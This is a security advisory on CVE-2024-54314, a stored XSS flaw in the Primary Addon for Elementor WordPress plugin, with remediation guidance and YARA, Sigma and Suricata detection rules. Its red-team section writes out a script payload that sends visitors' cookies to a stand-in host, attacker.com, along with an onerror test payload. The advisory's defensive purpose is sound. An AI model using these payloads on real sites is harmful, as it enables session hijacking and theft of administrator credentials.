CVE-2024-54314

Executive Summary

CVE-2024-54314 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nicheaddons Primary Addon for Elementor WordPress plugin, affecting versions up to and including 1.6.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As this is a WordPress plugin vulnerability, the attack surface is limited to WordPress installations using the vulnerable plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The supply chain risk is moderate: if the plugin is installed from an untrusted source, it may already contain backdoors. Administrators should verify the plugin’s integrity by checking checksums or re-downloading from the official repository. No known malicious packages have been reported in the NPM, PyPI, Go, or Ruby ecosystems for this specific CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Overall CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires authenticated access but can lead to significant impact if a privileged user views the payload.

Deep Dive & Mechanics

The vulnerability exists in the primary-addon-for-elementor plugin, which extends the Elementor page builder with additional widgets. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database. When a contributor or higher role creates or edits a post using the vulnerable widget, the input is stored without proper neutralization. Upon rendering the page, the stored input is output directly into the HTML context, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses functions like echo $value or the_content() without applying esc_html(), wp_kses(), or similar sanitization functions. This allows an attacker to inject <script> tags or event handlers (e.g., onmouseover).

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new post or page and inserts the vulnerable Elementor widget.
3. In a text field (e.g., title, description, or custom attribute), the attacker injects a payload like <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. When an administrator or other user views the post, the script executes in their browser.

Vulnerable vs. Patched Code

Since no official patch is available, the following shows a typical vulnerable pattern and a secure alternative.

Vulnerable Code (PHP):

// In widget render method
$title = $settings['title'];
echo '<h2>' . $title . '</h2>'; // No sanitization

Patched Code (PHP):

// Secure version
$title = $settings['title'];
echo '<h2>' . esc_html( $title ) . '</h2>'; // Escaped output

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Elementor and Primary Addon for Elementor (<=1.6.0) activated.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Posts > Add New.
3. Edit with Elementor.
4. Add the vulnerable widget (e.g., "Primary Heading").
5. In the title field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Publish the post.
7. When an admin views the post, the script executes, exfiltrating cookies.

Payload Example:

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor for posts containing suspicious HTML tags in custom fields.
• Use WAF rules to block <script> tags in post content.
• Review user activity logs for unusual post creation by low-privilege users.

Hunting:

• Search database for %<script>% in wp_posts.post_content and wp_postmeta.meta_value.
• Look for posts created by contributors that contain JavaScript event handlers.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/primary-addon-for-elementor/ (entire plugin directory)
• Database: Rows in wp_posts or wp_postmeta containing <script> tags or event handlers.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• Logs: wp-content/debug.log entries showing PHP warnings related to unsanitized output.

Detection Engineering

YARA Rule

rule CVE_2024_54314_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress posts for CVE-2024-54314"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54314"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Primary Addon for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/post.php"
        http.body|contains|all:
            - "primary-addon-for-elementor"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54314 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"<script"; within:100; reference:cve,2024-54314; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the primary-addon-for-elementor plugin until a patch is released.
2. Review all posts created by contributors for malicious content.
3. Reset passwords for any accounts that may have been compromised.

Long-term Fix:

• Apply input sanitization and output escaping in all plugin widgets.
• Use WordPress functions like esc_html(), esc_attr(), and wp_kses_post().
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workaround:

• Restrict contributor roles from using Elementor or the vulnerable widget via user role editor plugins.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert